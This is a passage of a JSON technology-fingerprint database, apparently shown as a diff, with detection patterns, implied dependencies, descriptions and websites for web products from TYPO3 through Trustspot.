href=\"/?typo3(?:conf|temp)/", - "\u003cimg[^\u003e]+ src=\"/?typo3(?:conf|temp)/", - "\u003c!--\n\tthis website is powered by typo3" - ], - "meta": { - "generator": [ - "typo3\\s+(?:cms\\s+)?(?:[\\d.]+)?(?:\\s+cms)?" - ] - }, - "implies": [ - "PHP" - ], - "description": "TYPO3 is a free and open-source Web content management system written in PHP.", - "website": "https://typo3.org/" - }, - "Tabarnapp": { - "js": [ - "tabarnapp_loaded_ad" - ], - "description": "Tabarnapp is a platform for Shopify apps and themes.", - "website": "https://tabarnapp.com" - }, - "Tabby": { - "js": [ - "tabbypromo", - "tabby" - ], - "description": "Tabby is a Buy now pay later solution from Middle East.", - "website": "https://tabby.ai/" - }, - "TableBooker": { - "description": "Tablebooker is an online reservation system for restaurants.", - "website": "https://www.tablebooker.com" - }, - "TableCheck": { - "description": "TableCheck is a restaurant table booking widget.", - "website": "https://www.tablecheck.com" - }, - "TablePress": { - "description": "TablePress is a free and open source plugin for the WordPress publishing platform. It enables you to create and manage tables on your website, without any coding knowledge.", - "website": "https://tablepress.org" - }, - "Taboola": { - "js": [ - "_taboola", - "_taboolanetworkmode", - "taboola_view_id" - ], - "description": "Taboola is a content discovery \u0026 native advertising platform for publishers and advertisers.", - "website": "https://www.taboola.com" - }, - "Tachyons": { - "js": [ - "webpackchunkgatsby_starter_blog_tachyons" - ], - "description": "Tachyons is a functional CSS framework.", - "website": "https://tachyons.io" - }, - "Tada": { - "implies": [ - "Shopify" - ], - "description": "Tada offers interactive website popups that allow Shopify merchants to collect more emails and increase sales by engaging website visitors through gamification.", - "website": "https://trytada.com" - }, - "TagPro": { - "js": [ - "initadprotags" - ], - "description": "TagPro is software that updates and allows you to manage tags within websites, identifying various types of variables to optimise loads for advertising.", - "website": "https://tagpro.adpromedia.net" - }, - "Tagboard": { - "description": "Tagboard is a platform which allows users to aggregate data from major social networking websites and embed, repost and redisplay it on various media.", - "website": "https://tagboard.com" - }, - "Tagembed": { - "js": [ - "tagembedwidget" - ], - "description": "Tagembed is a social media aggregator that collects and displays engaging user-generated content from any social media network such as Instagram, Facebook, Twitter, Youtube, Tiktok, Google Reviews, Airbnb, and 18+ networks.", - "website": "https://tagembed.com" - }, - "Taggbox": { - "js": [ - "taggboxajaxurl" - ], - "description": "Taggbox is an UGC platform to collect, curate, manage rights, and publish user-generated content marketing campaigns across multiple channels.", - "website": "https://taggbox.com/" - }, - "Taiga": { - "js": [ - "taigaconfig" - ], - "implies": [ - "Django", - "AngularJS" - ], - "website": "http://taiga.io" - }, - "Tail": { - "description": "Tail is a customer data management platform.", - "website": "https://www.tail.digital" - }, - "Tailwind CSS": { - "js": [ - "tailwind" - ], - "css": [ - "--tw-(?:rotate|translate|space-x|text-opacity|border-opacity)" - ], - "description": "Tailwind is a utility-first CSS framework.", - "website": "https://tailwindcss.com/" - }, - "TakeDrop": { - "js": [ - "webpackjsonptakedrop-react" - ], - "description": "TakeDrop is an ecommerce platform.", - "website": "https://takedrop.pl" - }, - "Talkable": { - "js": [ - "talkable.config.version" - ], - "description": "Talkable is a cloud-based referral marketing system that assists medium to large businesses with campaign creation and channel performance tracking.", - "website": "https://www.talkable.com" - }, - "Tallentor": { - "description": "Tallentor is a subscription-based software website analytics, heatmap, channel chat intergration.", - "website": "https://tallentor.com" - }, - "Tallentor Widget": { - "cookies": { - "tallentor_widget": "" - }, - "description": "Tallentor is a subscription-based software website analytics, heatmap, channel chat intergration.", - "website": "https://tallentor.com" - }, - "Tally": { - "js": [ - "tally" - ], - "description": "Tally is the simplest way to create free forms \u0026 surveys. Create any type of form in seconds, without knowing how to code, and for free.", - "website": "https://tally.so/" - }, - "Tamago": { - "html": [ - "\u003clink [^\u003e]*href=\"http://tamago\\.temonalab\\.com" - ], - "website": "http://tamago.temonalab.com" - }, - "Tamara": { - "js": [ - "tamaraproductwidget" - ], - "description": "Tamara ia a BNPL (Buy now pay later) provider in Saudi Arabia.", - "website": "https://tamara.co/" - }, - "Tangled Network": { - "headers": { - "x-hosting-provider": "tangled network" - }, - "description": "Tangled Network provides a managed services in website devleopment, web and database hosting and domain registration, with a focus on everything managed for small and medium sized businesses.", - "website": "https://tanglednetwork.com" - }, - "Tapad": { - "description": "Tapad is a venture-funded startup company that develops and markets software and services for cross-device advertising and content delivery.", - "website": "https://www.tapad.com" - }, - "Tapcart": { - "js": [ - "tapcartwebbanner" - ], - "description": "Tapcart is a mobile commerce SaaS platform that integrates directly with Shopify.", - "website": "https://tapcart.com" - }, - "Tapfiliate": { - "js": [ - "tapfiliateobject" - ], - "description": "Tapfiliate is a cloud-based affiliate marketing software that helps businesses to create, track, and optimise their own affiliate marketing programs.", - "website": "https://tapfiliate.com" - }, - "Target2Sell": { - "description": "Target2Sell is a personalisation solution for ecommerce sites.", - "website": "https://www.target2sell.com/" - }, - "Tatari": { - "js": [ - "tatari" - ], - "description": "Tatari is a data and analytics company focused on buying and measuring ads across TV and streaming platforms.", - "website": "https://www.tatari.tv" - }, - "Tawk.to": { - "cookies": { - "tawkconnectiontime": "" - }, - "description": "Tawk.to is a free messaging app to monitor and chat with the visitors to a website, mobile app.", - "website": "http://tawk.to" - }, - "Teachable": { - "cookies": { - "_gat_teachabletracker": "\\d+" - }, - "js": [ - "teachableicons", - "trackteachablegaevent", - "isteachable" - ], - "meta": { - "asset_host": [ - "\\.teachablecdn\\.com" - ] - }, - "description": "Teachable is a learning management system or LMS platform.", - "website": "https://teachable.com" - }, - "Teads": { - "description": "Teads is a technology provider that sells ads on publisher websites.", - "website": "https://www.teads.com" - }, - "Tealium": { - "js": [ - "tealiumenabled" - ], - "description": "Tealium provides a sales enterprise tag management system and marketing software.", - "website": "http://tealium.com" - }, - "Tealium AudienceStream": { - "description": "Tealium AudienceStream is an omnichannel customer segmentation and real-time action engine.", - "website": "https://tealium.com/products/audiencestream" - }, - "Tealium Consent Management": { - "description": "Tealium Consent Management adds consent and data privacy support.", - "website": "https://docs.tealium.com/platforms/getting-started/consent-management" - }, - "TeamCity": { - "html": [ - "\u003cspan class=\"versiontag\"\u003e\u003cspan class=\"vword\"\u003eversion\u003c/span\u003e ([\\d\\.]+)\\;version:\\1" - ], - "meta": { - "application-name": [ - "teamcity" - ] - }, - "implies": [ - "Apache Tomcat", - "Java", - "jQuery", - "Moment.js", - "Prototype", - "React", - "Underscore.js" - ], - "description": "TeamCity is a build management and continuous integration server from JetBrains.", - "website": "https://www.jetbrains.com/teamcity/" - }, - "Teamtailor": { - "js": [ - "teamtailor.ziggeo" - ], - "description": "Teamtailor is an applicant tracking system, career site and analytics dashboard combined, mobile friendly, and all-in-one recruitment platform.", - "website": "https://www.teamtailor.com" - }, - "Tebex": { - "headers": { - "tb-cache-country": "^\\w+$\\;confidence:50", - "tb-cache-group": "^webstore$\\;confidence:50" - }, - "implies": [ - "MySQL", - "Sass", - "PHP" - ], - "description": "Tebex specialises in providing gcommerce solutions for online games.", - "website": "https://www.tebex.io" - }, - "Telescope": { - "js": [ - "telescope" - ], - "implies": [ - "Meteor", - "React" - ], - "website": "http://telescopeapp.org" - }, - "Tencent Analytics (腾讯分析)": { - "website": "https://ta.qq.com/" - }, - "Tencent Cloud": { - "meta": { - "copyright": [ - "^.+tencent\\scloud\\.$" - ] - }, - "description": "Tencent Cloud is China's leading public cloud service provider.", - "website": "https://intl.cloud.tencent.com" - }, - "Tencent QQ": { - "description": "Tencent QQ also known as QQ, is an instant messaging software service and web portal developed by the Chinese tech giant Tencent.", - "website": "https://im.qq.com" - }, - "Tencent Waterproof Wall": { - "website": "https://007.qq.com/" - }, - "Tengine": { - "headers": { - "server": "tengine" - }, - "description": "Tengine is a web server which is based on the Nginx HTTP server.", - "website": "http://tengine.taobao.org" - }, - "Termly": { - "description": "Termly provides free website policy resources and web-based policy creation software.", - "website": "https://termly.io/" - }, - "Tern": { - "description": "Tern is a plug and play ecommerce app, built for Shopify, that offers merchants the ability to provide a seamless trade-in service.", - "website": "https://www.tern.eco" - }, - "TerriaJS": { - "description": "TerriaJS is an open-source framework for web-based geospatial catalogue explorers.", - "website": "https://terria.io/" - }, - "Tessitura": { - "html": [ - "\u003c!--[^\u003e]+tessitura version: (\\d*\\.\\d*\\.\\d*)?\\;version:\\1" - ], - "implies": [ - "Microsoft ASP.NET", - "IIS", - "Windows Server" - ], - "website": "https://www.tessituranetwork.com" - }, - "TestFreaks": { - "js": [ - "applytestfreaks", - "testfreaks" - ], - "description": "TestFreaks is an impartial source that provides product and seller review content for ecommerce websites.", - "website": "https://www.testfreaks.com" - }, - "Texthelp": { - "description": "TextHelp is a literacy, accessibility and dyslexia software developer for people with reading and writing difficulties.", - "website": "https://www.texthelp.com/en-gb/products/browsealoud/" - }, - "Textpattern CMS": { - "meta": { - "generator": [ - "textpattern" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "website": "http://textpattern.com" - }, - "The Arena Group": { - "meta": { - "generator": [ - "^tempest\\s-\\smaven\\.io$" - ] - }, - "description": "The Arena Group is a media coalition of professional content destinations. It operates on a shared digital publishing, advertising, and distribution platform, providing a major media-scale alternative to news and information distributed on social platforms.", - "website": "https://thearenagroup.net" - }, - "The Events Calendar": { - "js": [ - "tribecalendar", - "tribe_l10n_datatables" - ], - "description": "The Events Calendar is a free event management plugin for WordPress.", - "website": "https://theeventscalendar.com" - }, - "The Hotels Network": { - "js": [ - "thn.data.version" - ], - "headers": { - "content-security-policy": "\\.thehotelsnetwork\\.com", - "content-security-policy-report-only": "\\.thehotelsnetwork\\.com" - }, - "description": "The Hotels Network provides a SaaS software that enhances hotelier websites with predictive marketing personalisation and user behavior analytics.", - "website": "https://thehotelsnetwork.com" - }, - "The SEO Framework": { - "html": [ - "\u003c!--[^\u003e]+the seo framework by sybre waaijer" - ], - "description": "The SEO Framework is the only WordPress plugin that can intelligently generate critical SEO meta tags by reading your WordPress environment.", - "website": "https://theseoframework.com" - }, - "The Theme Foundry Make": { - "js": [ - "makedynamicstylesheet", - "makefrontend" - ], - "description": "Make is a free, open-source builder WordPress theme by The Theme Foundry.", - "website": "https://thethemefoundry.com/wordpress-themes/make" - }, - "The.com": { - "implies": [ - "React", - "Amazon S3" - ], - "description": "The.com is a low-code website building platform with community-created components that you can share and own.", - "website": "https://www.the.com" - }, - "Thefork": { - "description": "Thefork is a restaurant booking, managing system.", - "website": "https://www.thefork.com" - }, - "Thelia": { - "html": [ - "\u003c(?:link|style|script)[^\u003e]+/assets/frontoffice/" - ], - "implies": [ - "PHP", - "Symfony" - ], - "website": "http://thelia.net" - }, - "Theme Freesia Edge": { - "js": [ - "edge_slider_value" - ], - "description": "Edge is a responsive blogger WordPress theme by Theme Freesia.", - "website": "https://themefreesia.com/themes/edge" - }, - "Theme Freesia Photograph": { - "description": "Photograph is a WordPress theme exclusively built for photographer, blogger, portfolio, photography agency or photo studio websites.", - "website": "https://themefreesia.com/themes/Photograph" - }, - "Theme Freesia ShoppingCart": { - "js": [ - "shoppingcart_slider_value" - ], - "description": "ShoppingCart is a WordPress theme especially build for store and ecommerce by Theme Freesia.", - "website": "https://themefreesia.com/themes/shoppingcart" - }, - "Theme Horse Attitude": { - "description": "Attitude is a simple, clean and responsive retina ready WordPress theme by Theme Horse.", - "website": "https://www.themehorse.com/themes/attitude" - }, - "Theme Horse NewsCard": { - "description": "NewsCard is a multi-purpose magazine/news WordPress theme by Theme Horse.", - "website": "https://www.themehorse.com/themes/newscard" - }, - "Theme Vision Agama": { - "js": [ - "agama_pro", - "agama" - ], - "description": "Agama is a free multi-purpose WordPress theme by Theme Vision.", - "website": "https://theme-vision.com/agama" - }, - "Theme4Press Evolve": { - "js": [ - "evolve_js_local_vars" - ], - "description": "Theme4Press Evolve is an multipurpose and minimal WordPress theme.", - "website": "https://theme4press.com/evolve-multipurpose-wordpress-theme" - }, - "ThemeGrill Accelerate": { - "description": "ThemeGrill Accelerate is free minimal WordPress theme.", - "website": "https://themegrill.com/themes/accelerate" - }, - "ThemeGrill Cenote": { - "description": "ThemeGrill Cenote is a creative blogging WordPress theme, fully compatible with WooCommerce and popular page builders.", - "website": "https://themegrill.com/themes/cenote" - }, - "ThemeGrill ColorMag": { - "description": "ThemeGrill ColorMag is most popular magazine-newspaper style WordPress theme.", - "website": "https://themegrill.com/themes/colormag" - }, - "ThemeGrill Flash": { - "description": "ThemeGrill Flash is one of the most flexible multipurpose WordPress themes.", - "website": "https://themegrill.com/themes/flash" - }, - "ThemeGrill Radiate": { - "js": [ - "radiatescriptparam" - ], - "description": "ThemeGrill Radiate is a simple and minimal WordPress theme focused on blogging.", - "website": "https://themegrill.com/themes/radiate" - }, - "ThemeGrill Spacious": { - "js": [ - "spacious_slider_value" - ], - "description": "ThemeGrill Spacious is beautiful small to medium business responsive WordPress theme.", - "website": "https://themegrill.com/themes/spacious" - }, - "ThemeGrill eStore": { - "meta": { - "generator": [ - "estore v\\.([\\d\\.]+)\\;version:\\1" - ] - }, - "implies": [ - "Cart Functionality" - ], - "description": "ThemeGrill eStore is one of the most popular WooCommerce integrated WordPress themes.", - "website": "https://themegrill.com/themes/estore" - }, - "ThemeIsle Menu Icons": { - "description": "ThemeIsle Menu Icons plugin gives you the ability to add icons to your menu items, similar to the look of the latest dashboard menu.", - "website": "https://wordpress.org/plugins/menu-icons" - }, - "ThemeZee Donovan": { - "js": [ - "donovanscreenreadertext", - "donovan_menu_title" - ], - "description": "ThemeZee Donovan is a flexible, yet easy-to-use blogging WordPress theme.", - "website": "https://themezee.com/themes/donovan" - }, - "ThemeZee Poseidon": { - "js": [ - "poseidonscreenreadertext" - ], - "description": "ThemeZee Poseidon is an elegant designed WordPress theme featuring a splendid fullscreen image slideshow.", - "website": "https://themezee.com/themes/poseidon" - }, - "ThemeZee Wellington": { - "js": [ - "wellingtonscreenreadertext" - ], - "description": "Wellington is a clean and simple magazine WordPress theme by ThemeZee.", - "website": "https://themezee.com/themes/wellington" - }, - "Themeansar Newsberg": { - "description": "Themeansar Newsberg is a fast, clean, modern-looking, responsive news magazine WordPress theme.", - "website": "https://themeansar.com/free-themes/newsberg" - }, - "Themeansar Newsup": { - "description": "Themeansar Newsup is a fast, clean, modern-looking responsive news magazine WordPress theme.", - "website": "https://themeansar.com/free-themes/newsup" - }, - "Themebeez Cream Magazine": { - "js": [ - "cream_magazine_script_obj" - ], - "description": "Cream Magazine is a news and magazine WordPress theme by Themebeez.", - "website": "https://themebeez.com/themes/cream-magazine" - }, - "Themebeez Orchid Store": { - "js": [ - "orchid_store_obj" - ], - "description": "Orchid Store is a clean, flexible, stylish and dynamic ecommerce WordPress theme by Themebeez.", - "website": "https://themebeez.com/themes/orchid-store" - }, - "Themegraphy Graphy": { - "description": "Themegraphy Graphy is now compatible with WordPress 5.0 and Gutenberg blog-oriented WordPress theme.", - "website": "https://themegraphy.com/wordpress-themes/graphy" - }, - "Themes4Wp Bulk": { - "description": "Themes4Wp Bulk is a modern and responsive multipurpose WordPress theme.", - "website": "https://themes4wp.com/theme/bulk" - }, - "ThemezHut Bam": { - "description": "ThemezHut Bam is a great flexible WordPress theme for blogging sites.", - "website": "https://themezhut.com/themes/bam" - }, - "ThemezHut HitMag": { - "description": "ThemezHut HitMag is a stylish and powerful WordPress theme crafted for magazines, newspapers or personal blogs.", - "website": "https://themezhut.com/themes/hitmag" - }, - "Themonic Iconic One": { - "description": "Themonic Iconic One is a premium quality WordPress theme with pixel perfect typography and responsiveness and is built for speed.", - "website": "https://themonic.com/iconic-one" - }, - "Thesis": { - "js": [ - "thix.history", - "thix.t" - ], - "description": "Thesis is a conversion rate optimisation company.", - "website": "https://www.thesistesting.com" - }, - "ThimPress Course Review": { - "description": "Course Review is a WordPress plugin by ThimPress. Course Review gives students the opportunity to evaluate and provide feedback in order to improve the course.", - "website": "https://wordpress.org/plugins/learnpress-course-review" - }, - "ThimPress Course Wishlist": { - "description": "Course Wishlist is a WordPress plugin by ThimPress. Course Wishlist bring wishlist feature for LearnPress.", - "website": "https://wordpress.org/plugins/learnpress-wishlist" - }, - "ThimPress Gradebook": { - "description": "Gradebook is a WordPress plugin by ThimPress. Gradebook add-on for LearnPress makes it easier to track the students learning progress and result.", - "website": "https://thimpress.com/product/gradebook-add-on-for-learnpress" - }, - "ThimPress LearnPress": { - "description": "LearnPress is a WordPress LMS plugin by ThimPress.", - "website": "https://wordpress.org/plugins/learnpress" - }, - "Thimatic": { - "description": "Thimatic is a Shopify app for product reviews.", - "website": "https://thimatic-apps.com/" - }, - "Think Up Themes Consulting": { - "description": "Think Up Themes Consulting is a multipurpose WordPress theme that is available for free download and also offers a pro version.", - "website": "https://www.thinkupthemes.com/themes/consulting" - }, - "Think Up Themes Minamaze": { - "description": "Think Up Themes Minamaze is a multipurpose WordPress theme that is available for free download and also offers a pro version.", - "website": "https://www.thinkupthemes.com/themes/minamaze" - }, - "ThinkPHP": { - "cookies": { - "thinkphp_show_page_trace": "" - }, - "headers": { - "x-powered-by": "thinkphp" - }, - "implies": [ - "PHP" - ], - "description": "ThinkPHP is an open-source PHP framework with MVC structure developed and maintained by Shanghai Topthink Company.", - "website": "http://www.thinkphp.cn" - }, - "Thinkific": { - "cookies": { - "_thinkific_session": "" - }, - "js": [ - "thinkific", - "thinkificanalytics" - ], - "description": "Thinkific is a software platform that enables entrepreneurs to create, market, sell, and deliver their own online courses.", - "website": "https://www.thinkific.com" - }, - "ThreatMetrix": { - "description": "LexisNexis ThreatMetrix is an enterprise solution for online risk and fraud protection ('digital identity intelligence and digital authentication').", - "website": "https://risk.lexisnexis.com/products/threatmetrix" - }, - "Three.js": { - "js": [ - "three.revision", - "__three__" - ], - "description": "Three.js is a cross-browser JavaScript library and application programming interface used to create and display animated 3D computer graphics in a web browser using WebGL.", - "website": "https://threejs.org" - }, - "Threekit": { - "js": [ - "threekit.configuratorform", - "threekitar", - "threekitplayer" - ], - "description": "Threekit is a visual customer experience solution that enables brands to create, manage and scale photorealistic images and 3D product visuals, all from a single design file.", - "website": "https://www.threekit.com" - }, - "Thrive Apprentice": { - "description": "Thrive Apprentice is a WordPress plugin for creating online courses and also a membership plugin.", - "website": "https://thrivethemes.com/apprentice/" - }, - "Thrive Architect": { - "description": "Thrive Architect is the visual page builder for WordPress.", - "website": "https://thrivethemes.com/architect/" - }, - "Thrive Comments": { - "description": "Thrive Comments plugin replaces the standard WordPress comments from your website.", - "website": "https://thrivethemes.com/comments/" - }, - "Thrive Leads": { - "description": "Thrive Leads is an all-in-one email list building plugin for WordPress.", - "website": "https://thrivethemes.com/leads/" - }, - "Thrive Quiz Builder": { - "description": "Thrive Quiz Builder is a powerful WordPress plugin that can help you to create quizzes for your website or blog.", - "website": "https://thrivethemes.com/quizbuilder" - }, - "Thrive Ultimatum": { - "description": "Thrive Ultimatum is a WordPress scarcity marketing plugin with built-in templates and campaign tracking tools from developer Thrive Themes.", - "website": "https://thrivethemes.com/ultimatum/" - }, - "ThriveCart": { - "js": [ - "thrivecart" - ], - "description": "ThriveCart is a sales cart solution that lets you create checkout pages for your online products and services.", - "website": "https://thrivecart.com" - }, - "Ticimax": { - "website": "https://www.ticimax.com" - }, - "Tictail": { - "html": [ - "\u003clink[^\u003e]*tictail\\.com" - ], - "website": "https://tictail.com" - }, - "TiddlyWiki": { - "js": [ - "tiddler" - ], - "html": [ - "\u003c[^\u003e]*type=[^\u003e]text\\/vnd\\.tiddlywiki" - ], - "meta": { - "application-name": [ - "^tiddlywiki$" - ], - "copyright": [ - "^tiddlywiki created by jeremy ruston" - ], - "generator": [ - "^tiddlywiki$" - ], - "tiddlywiki-version": [ - "^(.+)$\\;version:\\1" - ] - }, - "description": "TiddlyWiki is an open-source notebook for capturing, organising and sharing complex information.", - "website": "http://tiddlywiki.com" - }, - "Tidio": { - "js": [ - "tidiochatapi" - ], - "description": "Tidio is a customer communication product. It provides multi-channel support so users can communicate with customers on the go. Live chat, messenger, or email are all supported.", - "website": "https://www.tidio.com" - }, - "Tiendanube": { - "js": [ - "ls.store.url" - ], - "description": "Tiendanube is an ecommerce platform.", - "website": "https://www.tiendanube.com" - }, - "TikTok Pixel": { - "js": [ - "tiktokanalyticsobject" - ], - "website": "https://ads.tiktok.com" - }, - "Tiki Wiki CMS Groupware": { - "meta": { - "generator": [ - "^tiki" - ] - }, - "description": "Tiki Wiki is a free and open-source wiki-based content management system and online office suite written primarily in PHP.", - "website": "http://tiki.org" - }, - "Tilda": { - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+tilda(?:cdn|\\.ws|-blocks)" - ], - "description": "Tilda is a web design tool.", - "website": "https://tilda.cc" - }, - "Tiledesk": { - "js": [ - "tiledesksettings", - "tiledesk", - "tiledeskasyncinit", - "tiledesk" - ], - "description": "Tiledesk is the full-stack open-source Live Chat with built-in Chatbots, written in Node.js and Angular.", - "website": "https://tiledesk.com" - }, - "Timeplot": { - "js": [ - "timeplot" - ], - "website": "http://www.simile-widgets.org/timeplot/" - }, - "Timify": { - "js": [ - "timifywidget" - ], - "description": "Timify is an online scheduling and resource management software for small, medium and large businesses.", - "website": "https://www.timify.com" - }, - "Tiny Slider": { - "description": "Tiny Slider is a vanilla javascript slider for all purposes.", - "website": "https://github.com/ganlanyuan/tiny-slider" - }, - "TinyMCE": { - "js": [ - "tinymce.majorversion", - "tinymce" - ], - "description": "TinyMCE is an online rich-text editor released as open-source software. TinyMCE is designed to integrate with JavaScript libraries, Vue.js, and AngularJS as well as content management systems such as Joomla!, and WordPress.", - "website": "https://www.tiny.cloud/tinymce/" - }, - "Tinybird": { - "js": [ - "tinybird" - ], - "description": "Tinybird is a cloud-native data processing platform that allows developers and data teams to build real-time data pipelines and perform complex data transformations and analysis at scale.", - "website": "https://www.tinybird.co/" - }, - "Tippy.js": { - "js": [ - "tippy.defaultprops" - ], - "description": "Tippy.js is the complete tooltip, popover, dropdown, and menu solution for the web, powered by Popper.", - "website": "https://atomiks.github.io/tippyjs" - }, - "Tipsa": { - "description": "TIPSA is a parcel delivery company in Spain, Portugal and Andorra.", - "website": "https://www.tip-sa.com" - }, - "Tiqets": { - "js": [ - "__tiqets_loader_reinit" - ], - "description": "Tiqets provides a complete overview of a city - museums, attractions, zoos, canal cruises, concerts. Publishers joined to the Tiqets affiliate program can receive 6% commission during our 30-day cookie window from completed total bookings resulting from featuring links to Tiqets products and content across their brand: blog/website, social media, newsletters, etc.", - "website": "https://www.tiqets.com/affiliate" - }, - "Titan": { - "js": [ - "titanenabled", - "titan" - ], - "website": "http://titan360.com" - }, - "TomTom Maps": { - "js": [ - "tomtom.map" - ], - "description": "TomTom Maps is a web mapping service.", - "website": "https://www.tomtom.com" - }, - "TomatoCart": { - "js": [ - "ajaxshoppingcart" - ], - "meta": { - "generator": [ - "tomatocart" - ] - }, - "website": "http://tomatocart.com" - }, - "TornadoServer": { - "headers": { - "server": "tornadoserver(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://tornadoweb.org" - }, - "TotalCode": { - "headers": { - "x-powered-by": "^totalcode$" - }, - "website": "http://www.totalcode.com" - }, - "Totango": { - "js": [ - "totangoloader", - "totango" - ], - "description": "Totango is a customer success platform that helps recurring revenue businesses simplify the complexities of customer success by connecting the dots of customer data, actively monitoring customer health changes, and driving proactive engagements.", - "website": "https://www.totango.com" - }, - "Totara": { - "cookies": { - "totarasession": "" - }, - "description": "Totara is a learning management system designed for businesses.", - "website": "https://www.totaralearning.com" - }, - "Touch2Success": { - "meta": { - "content": [ - "^touch2success$" - ] - }, - "description": "Touch2Success is a fully featured restaurant POS software designed to serve startups, enterprises.", - "website": "https://www.touch2success.com" - }, - "TownNews": { - "js": [ - "tncms", - "tnstats_tracker", - "tntracker" - ], - "headers": { - "x-tncms": "" - }, - "description": "TownNews is a CMS platform built for local media organizations.", - "website": "https://townnews.com/" - }, - "Trac": { - "html": [ - "\u003ca id=\"tracpowered", - "powered by \u003ca href=\"[^\"]*\"\u003e\u003cstrong\u003etrac(?:[ /]([\\d.]+))?\\;version:\\1" - ], - "implies": [ - "Python" - ], - "website": "http://trac.edgewall.org" - }, - "TrackJs": { - "js": [ - "trackjs", - "trackjs" - ], - "description": "TrackJS is an error monitoring agent for production web sites and applications.", - "website": "http://trackjs.com" - }, - "Trackify X": { - "implies": [ - "Shopify" - ], - "description": "Trackify X is a pixel engine that helps merchants backup their pixel data and manage multiple pixels.", - "website": "https://trackifyapp.com" - }, - "Tradedoubler": { - "description": "Tradedoubler is a global affiliate marketing network.", - "website": "https://www.tradedoubler.com/" - }, - "TradingView": { - "description": "TradingView is used to show world chart, chats and trades markets.", - "website": "https://www.tradingview.com" - }, - "Traek": { - "js": [ - "traek" - ], - "description": "Traek is a website insights, analytics and lead generation tool.", - "website": "https://www.traek.io" - }, - "TrafficStars": { - "description": "TrafficStars is a self-served ad network and ad exchange that operates mainly in adult-related verticals.", - "website": "https://trafficstars.com" - }, - "Transcend": { - "js": [ - "transcend" - ], - "description": "Transcend is data privacy management compliance platform.", - "website": "http://www.transcend.io" - }, - "Transcy": { - "js": [ - "transcy_apiuri", - "transcy_shopifylocales", - "_transcy" - ], - "implies": [ - "Shopify" - ], - "description": "Transcy is a Shopify translation app. Transcy allows you to translate your whole store content into target languages to reach different nation shoppers.", - "website": "https://transcy.io" - }, - "Transifex": { - "js": [ - "transifex.live.lib_version" - ], - "website": "https://www.transifex.com" - }, - "Transistor.fm": { - "description": "Transistor.fm is a podcast host, distribution and management platform.", - "website": "https://transistor.fm" - }, - "Translate WordPress": { - "description": "Translate WordPress is a website translator plugin which can translate any website to any language automatically. Translate WordPress plugin is now a part of GTranslate family.", - "website": "https://gtranslate.io" - }, - "Transmart": { - "description": "Transmart is a shipping company in Turkey.", - "website": "https://transmartshipping.com" - }, - "Tray": { - "description": "Tray is an all-in-one ecommerce platform from Brazil.", - "website": "https://www.tray.com.br" - }, - "Trbo": { - "cookies": { - "trbo_session": "^(?:[\\d]+)$", - "trbo_usr": "^(?:[\\d\\w]+)$" - }, - "js": [ - "_trbo", - "_trbo_start", - "_trboq" - ], - "description": "Trbo is a personalisation, recommendations, A/B testing platform from Germany.", - "website": "https://www.trbo.com" - }, - "Treasure Data": { - "js": [ - "treasure.version" - ], - "description": "Treasure Data is the only enterprise customer data platform.", - "website": "https://www.treasuredata.com" - }, - "Trengo": { - "js": [ - "trengo.eventbus" - ], - "description": "Trengo is an omnichannel communication platform that unifies all messaging channels into one single view.", - "website": "https://trengo.com" - }, - "Triggerbee": { - "js": [ - "triggerbee" - ], - "description": "Triggerbee is an onsite personalisation platform that lets you use customer and behavioral data to build and launch personalised campaigns.", - "website": "https://triggerbee.com" - }, - "Trinity Audio": { - "js": [ - "trinity_display", - "trinity_player" - ], - "description": "Trinity Audio's AI-driven solutions help publishers and content creators create a world of smart audio experiences for their audiences, covering every stage of the audio journey from creation to distribution.", - "website": "https://www.trinityaudio.ai" - }, - "Tripadviser.Widget": { - "description": "Tripadvisor embed reviews widget.", - "website": "https://www.tripadvisor.com/Widgets" - }, - "Triple Whale": { - "description": "The Triple Whale platform combines centralization, visualization, and attribution into a dashboard that presents and illustrates KPIs in an actionable way.", - "website": "https://triplewhale.com/" - }, - "TripleLift": { - "description": "TripleLift is an advertising technology company providing native programmatic to buyers and sellers.", - "website": "https://triplelift.com" - }, - "Tritac Katana Commerce": { - "meta": { - "powered-by": [ - "^katana\\scommerce$" - ] - }, - "description": "Katana Commerce is Tritac's B2B and B2C ecommerce platform.", - "website": "https://www.tritac.com/nl/producten/katana-commerce/" - }, - "Trix": { - "js": [ - "trix.version" - ], - "description": "Trix is an open-source project from Basecamp, the creators of Ruby on Rails.", - "website": "https://trix-editor.org" - }, - "Trove Recommerce": { - "headers": { - "x-trove-app-name": "", - "x-trove-country-code": "", - "x-trove-order-uuid": "", - "x-yerdle-app-name": "" - }, - "description": "Trove (formerly Yerdle) builds white-label technology and end-to-end operations for ecommerce platforms.", - "website": "https://trove.co" - }, - "TruValidate": { - "description": "TransUnion TruValidate (previously ReputationShield/IDVision from iovation) is an online risk and fraud detection platform.", - "website": "https://www.transunion.com/solution/truvalidate" - }, - "True Fit": { - "description": "True Fit is a data-driven personalisation platform for footwear and apparel retailers.", - "website": "https://www.truefit.com" - }, - "TrueCommerce": { - "description": "TrueCommerce is an eCommerce platform.", - "website": "https://www.truecommerce.com" - }, - "Truepush": { - "js": [ - "truepush", - "truepushversioninfo.key" - ], - "description": "Truepush is web-based push notification service available for PWA, AMP, WordPress, and Shopify.", - "website": "https://www.truepush.com" - }, - "Trumba": { - "js": [ - "$trumba", - "$trumba.version", - "trumba" - ], - "description": "Trumba offers web-hosted event calendar software for publishing online, interactive, calendars of events.", - "website": "https://www.trumba.com" - }, - "Trunkrs": { - "description": "Trunkrs is a Dutch parcel delivery service.", - "website": "https://trunkrs.nl" - }, - "TrustArc": { - "description": "TrustArc provides software and services to help corporations update their privacy management processes so they comply with government laws and best practices.", - "website": "http://trustarc.com" - }, - "TrustYou": { - "description": "TrustYou is guest feedback and hotel reputation software company located in Germany.", - "website": "https://www.trustyou.com" - }, - "Trusted Shops": { - "description": "Trusted Shops is a company that acts as a 3'rd party representing the common interests of both consumers and retailers.", - "website": "https://www.trustedshops.co.uk" - }, - "Trustindex Google Reviews": { - "description": "Google Reviews s a premium plugin that can help you to embed reviews on your site by Trustindex.", - "website": "https://www.trustindex.io" - }, - "Trustpilot": { - "js": [ - "trustpilot" - ], - "description": "Trustpilot is a Danish consumer review website which provide embed stand-alone applications in your website to show your most recent reviews, TrustScore, and star ratings.", - "website": "https://business.trustpilot.com" - }, - "Trustspot": { - "js": [ - "trustspot_key" - ], - "description": "TrustSpot provides a solution to capture ratings \u0026 reviews, video testimonials, photos, social experiences, and product Q\u0026A.", - "website": 